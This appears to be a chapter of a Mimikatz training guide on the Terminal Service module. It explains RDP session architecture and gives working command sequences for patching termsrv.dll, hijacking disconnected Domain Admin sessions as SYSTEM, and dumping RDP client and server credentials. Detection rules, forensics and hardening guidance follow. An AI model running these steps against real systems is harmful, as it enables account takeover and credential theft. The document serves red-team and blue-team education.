Skip to content

Chapter 11: Terminal Service Module ​

Introduction ​

Remote Desktop Protocol (RDP) has been the backbone of Windows administration since its introduction. It allows administrators to manage servers remotely, IT support to assist users, and unfortunately, attackers to maintain persistent access to compromised networks. The Terminal Service module in Mimikatz gives us a powerful set of tools to interact with Windows' RDP subsystem, from enumerating active sessions to hijacking disconnected ones.

In my experience, RDP is one of the most valuable attack surfaces in any Windows environment. Organizations often leave disconnected sessions running for days or weeks, and each one represents a cached security context waiting to be exploited. If a Domain Admin disconnects their RDP session instead of logging off, their token remains active in memory, and if you have SYSTEM access on that box, you can take over their session without knowing their password.

In this chapter, we're going to explore the architecture of Remote Desktop Services, understand how sessions and session isolation work, and learn to use Mimikatz's ts:: module for reconnaissance and session manipulation. We'll cover the ts::sessions command for enumeration, ts::remote for session hijacking, and the forensic artifacts left behind. For the blue team, we'll discuss detection strategies and the Group Policy settings that can mitigate these attacks.

Technical Foundation ​

Remote Desktop Services Architecture ​

Windows Remote Desktop Services (RDS), formerly known as Terminal Services, is built on a sophisticated multi-session architecture:

Trminal Service

Windows Licensing Restrictions ​

Microsoft distinguishes between Server and Client operating systems when it comes to RDP:

OS TypeConcurrent SessionsLicensing
Windows ServerMultiple (with CALs)Per-user or per-device CALs
Windows 10/11Single session onlyDesktop license

This isn't a technical limitation; it's a licensing check enforced in the termsrv.dll code. Mimikatz's ts::multirdp command patches this check in memory.

Session Types and Isolation ​

Windows creates isolated session spaces for different purposes:

Session IDNamePurposeSecurity Context
0ServicesSystem services (since Vista)SYSTEM, service accounts
1+InteractiveConsole and RDP usersUser-specific tokens

Session 0 Isolation: Starting with Windows Vista, Session 0 is reserved exclusively for services. This prevents the "Shatter Attack" class of vulnerabilities where user-mode code could message system services.

Session States ​

Each session can be in one of several states:

StateCodeDescriptionAttack Value
Active0User is connected and interactiveHigh - live session
Connected1Connection establishedHigh - active use
ConnectQuery2Connection in progressLow
Shadow3Shadowing another sessionMedium
Disconnected4User disconnected, session preservedCritical - token persists
Idle5Session waitingMedium
Listen6Listener for connectionsLow
Reset7Session being resetLow
Down8Session failedLow
Init9Session initializingLow

The Disconnected Session Problem ​

When a user disconnects from an RDP session (closes the window instead of logging off), the session enters state 4 (Disconnected). Critically:

  1. The user's processes continue running
  2. The user's access token remains valid
  3. Cached credentials persist in LSASS
  4. The session can be reconnected without re-authentication

This is the foundation of the session hijacking attack.

Credential Handling: The Memory Model ​

When you connect via RDP, credentials are stored in two places:

LocationProcessWhat's Stored
Clientmstsc.exeUsername, password, SmartCard PIN
Serversvchost.exe (TermService)Session tokens, logon credentials

Microsoft uses CryptProtectMemory() to encrypt these secrets in RAM. However, the encryption keys are stored in the kernel, meaning that if you have SYSTEM or SeDebugPrivilege on the live system, Mimikatz can reach in, decrypt them, and hand them to you in plain text.

Terminal Services API ​

Windows provides the Wtsapi32.dll library for Terminal Services interaction:

c
// Key functions Mimikatz uses
WTSEnumerateSessionsW()      // List all sessions
WTSQuerySessionInformationW() // Get session details
WTSConnectSessionW()          // Connect to a session
WTSDisconnectSession()        // Disconnect a session
WTSSendMessageW()             // Send message to session

The WTSConnectSessionW() function is particularly interesting—it allows connecting to an existing session from a different one, which is the basis for session hijacking.

Command Reference ​

ts::multirdp - Enabling Multi-User Bypass ​

This command patches the Terminal Service in memory to allow multiple simultaneous RDP connections on a client OS.

Syntax ​

ts::multirdp
ParameterRequiredDescription
(none)N/APatches termsrv.dll in memory

Multiple RDP architecture diagram

How It Works: Mimikatz finds the correct memory offset for your specific Windows build and patches the function that enforces the single-session limit.

Use Cases:

  • Multiple red team operators accessing the same workstation
  • Maintaining RDP access without disconnecting legitimate users
  • Testing scenarios requiring multiple simultaneous sessions

ts::sessions - Session Reconnaissance ​

This command enumerates all active and disconnected RDP sessions on the system, showing who is connected and from where.

Syntax ​

ts::sessions
ParameterRequiredDescription
(none)N/ALists all terminal sessions

Example Output ​

ts::sessions showing multiple sessions

The screenshot shows three sessions:

Session 0 - Services:

  • State: Disconnected (4) - Normal for Session 0
  • User: (none) - Service session
  • Lock: no

Session 2 - RDP-Tcp#0:

  • State: Active (0) - Currently connected
  • User: Administrator @ ACMELABS
  • Connection time: 8/14/2019 8:43:08 AM
  • Current time: 8/14/2019 8:49:12 AM
  • Client IP: 10.120.120.10

*Session 3 - Console:

  • State: Active (0)
  • User: cperez @ ACMELABS
  • The asterisk (*) indicates the current session

Field Reference ​

FieldDescriptionDetection/Attack Value
SessionSession ID and nameIdentify target sessions
stateCurrent session stateDisconnected = hijackable
userUsername and domainIdentify high-value targets
ConnConnection timestampSession age
logonLogon timestampAuthentication time
lastLast activityIdle detection
currCurrent timeTime synchronization
lockSession locked statusLocked sessions less useful
addr4Client IPv4 addressSource identification

ts::remote - Session Hijacking ​

This is the dangerous command. It allows you to take over another user's session without knowing their password.

Syntax ​

ts::remote /id:<session_id> [/password:<password>]
ParameterRequiredDescription
/id:<session_id>YesTarget session ID to hijack
/password:<password>NoPassword for target user (not needed as SYSTEM)

How It Works ​

When running as SYSTEM, ts::remote calls WTSConnectSessionW() to transfer the target session to your current session. The target user sees a disconnection message:

RDP disconnection message when session is hijacked

The legitimate user sees "Your Remote Desktop Services session has ended. Another user connected to the remote computer, so your connection was lost."

The Power of SYSTEM: If you run this as a local Admin, Windows will prompt you for the target user's password. But if you run this as SYSTEM, Windows allows the connection without any password validation.

Attack Flow ​

Session Hijacking Flow:
1. Attacker gains SYSTEM on target machine
2. Runs ts::sessions to enumerate sessions
3. Identifies disconnected Domain Admin session (ID: 5)
4. Runs ts::remote /id:5
5. Attacker's console now IS the Domain Admin's desktop
6. All applications, tokens, and access persist

ts::mstsc - Harvesting the Client ​

If you compromise a jump host or an admin's workstation, this command extracts clear-text credentials from any active mstsc.exe processes.

Syntax ​

ts::mstsc
ParameterRequiredDescription
(none)N/AExtracts RDP client credentials

Registry showing RDP connection history

The screenshot shows the registry path HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default which stores RDP connection history. The MRU0 value shows the most recently connected server (10.101.101.2).

What It Finds:

  • Usernames
  • Passwords (if saved)
  • SmartCard PINs
  • Recently connected servers

ts::logonpasswords - Harvesting the Server ​

This is the server-side counterpart to ts::mstsc. It extracts credentials for all users currently or recently RDP'd into the system.

Syntax ​

ts::logonpasswords
ParameterRequiredDescription
(none)N/AExtracts server-side RDP credentials

Registry showing Group Policy and session SIDs

The screenshot shows the registry path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy which records every user SID that has logged onto the system, along with their group memberships.

Attack Scenarios ​

Scenario 1: Disconnected Session Hijacking ​

Objective: Take over a Domain Admin's disconnected session.

# Step 1: Get SYSTEM (from local admin)
mimikatz # privilege::debug
mimikatz # token::elevate
-> Impersonated !

# Step 2: Enumerate sessions
mimikatz # ts::sessions
Session: 0 - Services
  state: Disconnected (4)
Session: 2 - RDP-Tcp#0
  state: Disconnected (4)
  user : ACMELABS\da-smith
  Conn : 8/14/2019 9:15:00 AM
  lock : no

# Step 3: da-smith is disconnected! Hijack the session
mimikatz # ts::remote /id:2

# Your console transforms into da-smith's desktop
# All their open applications, tokens, and access are now yours

Scenario 2: Client Credential Harvesting ​

Objective: Extract credentials from a compromised jump host.

# On a compromised workstation where admins RDP to other systems:
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # ts::mstsc

# Displays credentials for any active mstsc.exe processes
# Including saved passwords and SmartCard PINs

Scenario 3: Persistence via Multi-RDP ​

Objective: Maintain RDP access without disturbing the user.

# Step 1: Patch termsrv.dll
mimikatz # ts::multirdp
[*] Patching TermService (single user limitation)

# Step 2: Connect via RDP while user is logged in
# Both sessions run simultaneously
# User may not notice the additional session

Scenario 4: Server-Side Credential Extraction ​

Objective: Extract credentials from RDP users on a compromised server.

mimikatz # privilege::debug
mimikatz # ts::logonpasswords

# Or use the broader sekurlsa command
mimikatz # sekurlsa::logonpasswords

# Filter results to focus on RDP sessions

Detection and Indicators of Compromise ​

Session Hijacking Detection ​

When a session is hijacked, specific events are generated:

Event IDSourceDescription
4778SecuritySession reconnected
4779SecuritySession disconnected
1149TerminalServices-RemoteConnectionManagerUser authentication succeeded
21TerminalServices-LocalSessionManagerSession logon succeeded
22TerminalServices-LocalSessionManagerShell start notification
24TerminalServices-LocalSessionManagerSession has been disconnected
25TerminalServices-LocalSessionManagerSession reconnection succeeded

Critical Detection: Event ID 4778 ​

This event indicates a session was reconnected. The key is correlating the source:

xml
<Event>
  <System>
    <EventID>4778</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="AccountName">Administrator</Data>
    <Data Name="AccountDomain">ACMELABS</Data>
    <Data Name="LogonID">0x3e7</Data>
    <Data Name="SessionName">RDP-Tcp#0</Data>
    <Data Name="ClientName">ATTACKER-PC</Data>
    <Data Name="ClientAddress">10.120.120.50</Data>
  </EventData>
</Event>

Red Flags:

  • Session reconnection from "Local" instead of an IP address
  • Session reconnection from a different ClientAddress than the original
  • SYSTEM (0x3e7) initiating session connections

Process Access Detection ​

Commands like ts::mstsc and ts::multirdp require Mimikatz to open handles to system processes:

Target ProcessAccess MaskActivity
svchost.exe (TermService)0x143ats::multirdp, ts::logonpasswords
mstsc.exe0x1010ts::mstsc

Detection Strategies ​

Strategy 1: Session Reconnection from Local ​

yaml
# SIGMA rule for session hijacking
title: RDP Session Hijacking - Local Reconnection
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4778
        ClientAddress: '127.0.0.1'
    condition: selection
level: critical

Strategy 2: SYSTEM-Level Session Connection ​

yaml
# Detect session hijacking attempts
title: Session Connection as SYSTEM
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4778
        SubjectLogonId: '0x3e7'  # SYSTEM
    condition: selection
level: critical

Strategy 3: Monitor termsrv.dll Memory Access ​

yaml
# Detect Multi-RDP patching
title: TermService Memory Modification
logsource:
    category: process_access
    product: windows
detection:
    selection:
        TargetImage|endswith: '\svchost.exe'
        CallTrace|contains: 'termsrv.dll'
        GrantedAccess|contains: '0x20'  # PROCESS_VM_WRITE
    condition: selection
level: high

Defensive Strategies ​

Strategy 1: Configure Session Timeout Policies ​

Force disconnected sessions to log off automatically:

Computer Configuration → Administrative Templates → Windows Components →
Remote Desktop Services → Remote Desktop Session Host → Session Time Limits

Settings:
- "Set time limit for disconnected sessions" = 1 hour (or less)
- "Set time limit for active but idle sessions" = 30 minutes
- "End session when time limits are reached" = Enabled

Strategy 2: Enable Remote Credential Guard ​

The ultimate defense against RDP credential theft:

Computer Configuration → Administrative Templates → System → Credentials Delegation
→ "Remote host allows delegation of non-exportable credentials" = Enabled

Client-side:
mstsc.exe /remoteGuard

How it works: Your credentials stay on your local machine. Your local LSA handles the authentication and only sends a Kerberos ticket to the remote server. The remote server never sees your password.

Strategy 3: Require NLA (Network Level Authentication) ​

Computer Configuration → Administrative Templates → Windows Components →
Remote Desktop Services → Remote Desktop Session Host → Security

- "Require user authentication for remote connections by using NLA" = Enabled

Strategy 4: Restrict RDP Access ​

Limit who can RDP to systems:

powershell
# Check current Remote Desktop Users
Get-LocalGroupMember -Group "Remote Desktop Users"

# Remove unnecessary accounts
Remove-LocalGroupMember -Group "Remote Desktop Users" -Member "DOMAIN\Users"

# Add only specific accounts
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "DOMAIN\RDP-Admins"

Strategy 5: Disable RDP on Sensitive Systems ​

For highly sensitive systems, disable RDP entirely:

powershell
# Disable RDP via registry
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 1

# Stop and disable the service
Stop-Service -Name "TermService" -Force
Set-Service -Name "TermService" -StartupType Disabled

Strategy 6: Use RD Gateway ​

Use Remote Desktop Gateway for all RDP connections:

  • Provides centralized authentication
  • Enables MFA integration
  • Logs all connection attempts
  • Allows conditional access policies

Strategy 7: Implement Just-In-Time Access ​

Use Privileged Access Management (PAM) to:

  • Grant RDP access only when needed
  • Automatically revoke after time limit
  • Require approval workflows
  • Log all access requests

Terminal Services Forensics ​

Key Registry Locations ​

PathContentForensic Value
HKCU\Software\Microsoft\Terminal Server Client\DefaultRecent connectionsClient activity
HKCU\Software\Microsoft\Terminal Server Client\ServersSaved serversPersistent targets
HKLM\SYSTEM\CurrentControlSet\Control\Terminal ServerServer configSecurity settings
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group PolicyApplied GPOsUser SIDs who logged in

Event Log Locations ​

LogPathContent
SecuritySecurity.evtx4624, 4778, 4779
LocalSessionManagerMicrosoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx21, 22, 24, 25
RemoteConnectionManagerMicrosoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx1149

Operational Considerations ​

For Red Teams ​

  1. Enumerate before acting: Always run ts::sessions first to understand the landscape
  2. Prioritize disconnected sessions: State 4 sessions are your gold
  3. Check lock status: Locked sessions require additional steps
  4. Note the IP addresses: Different IPs on reconnection may trigger alerts
  5. Consider timestamps: Reconnecting an old session looks suspicious
  6. Have an exit plan: Know how to cleanly disconnect

For Blue Teams ​

  1. Enforce session timeouts: Disconnected sessions should auto-logoff
  2. Deploy Remote Credential Guard: Prevents credential exposure on servers
  3. Monitor Event ID 4778: Especially from "Local" or SYSTEM
  4. Track RDP client history: Know who's connecting where
  5. Alert on console-to-RDP transitions: Unusual session transfers

Session Hijacking vs. Other Techniques ​

TechniquePrivileges NeededNetwork TrafficDetection Difficulty
Session HijackingSYSTEMNone (local)Medium
Pass-the-Hash RDPAdmin + hashNetworkHigh
RDP with CredentialsValid credsNetworkLow
Restricted Admin RDPAdminNetworkMedium
Remote Credential GuardValid credsNetwork (ticket only)Low

Practical Lab Exercises ​

Exercise 1: Session Enumeration ​

Practice enumerating sessions on a multi-user system:

cmd
# Create multiple sessions first:
# - Log in via console
# - RDP from another machine
# - Disconnect one RDP session (don't log off)

# Now enumerate
mimikatz # ts::sessions

# Identify:
# - Which session is your current session (marked with *)
# - Which sessions are disconnected
# - Which users have active tokens

Exercise 2: The Hijack Test ​

Set up a safe hijacking scenario:

cmd
# On a test system:
# 1. Log in as UserA via RDP
# 2. Disconnect (don't log off)
# 3. Log in as Administrator via console

# As Administrator:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # ts::sessions

# Find UserA's disconnected session
mimikatz # ts::remote /id:<UserA_session_id>

# You should now see UserA's desktop

Exercise 3: Remote Credential Guard Testing ​

Verify Remote Credential Guard protection:

cmd
# Connect to a server using Remote Credential Guard
mstsc /remoteGuard /v:target-server

# On the target server, try to extract credentials
mimikatz # sekurlsa::logonpasswords

# Verify that only Kerberos tickets are available, not passwords

Exercise 4: Forensic Analysis ​

Examine the artifacts left by RDP sessions:

powershell
# Check RDP client history
Get-ItemProperty "HKCU:\Software\Microsoft\Terminal Server Client\Default"

# Check recent servers
Get-ChildItem "HKCU:\Software\Microsoft\Terminal Server Client\Servers"

# Review session events
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" -MaxEvents 50 |
    Select-Object TimeCreated, Id, Message

Exercise 5: Detection Rule Testing ​

Generate and detect session hijacking:

powershell
# Before the hijack, set up monitoring
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4778
} -MaxEvents 10 | Format-List TimeCreated, Message

# Perform the hijack from Exercise 2
# Then re-run the query to see the event

Exercise 6: Policy Hardening ​

Implement and test session timeout policies:

cmd
# Set via Group Policy:
# "Set time limit for disconnected sessions" = 1 minute (for testing)

# RDP to the machine
# Disconnect the session
# Wait 1+ minute
# Verify the session is gone

mimikatz # ts::sessions
# The disconnected session should no longer exist

Summary ​

The Terminal Service module exposes one of the most practical attack vectors in Windows environments. Disconnected sessions are ubiquitous, and session hijacking requires no password—just SYSTEM access on the right machine.

Key Takeaways:

  1. Disconnected sessions are live sessions—the user's token and credentials persist in memory
  2. ts::sessions is your reconnaissance tool—always enumerate before acting
  3. ts::remote as SYSTEM can hijack any session—no password required
  4. ts::mstsc harvests client-side credentials—valuable on jump hosts
  5. Event ID 4778 from "Local" is your detection—indicates session hijacking
  6. Remote Credential Guard is the ultimate defense—credentials never leave the client
  7. Session timeout policies are critical—force disconnected sessions to log off
  8. The registry preserves RDP history—valuable for forensics on both client and server

Session hijacking represents one of the "quiet" privilege escalation paths—it leaves minimal forensic artifacts and uses legitimate Windows APIs. Organizations that don't enforce session timeouts are leaving credentials on the table.


Next: Chapter 12: LSASS ProtectionsPrevious: Chapter 10: Process Module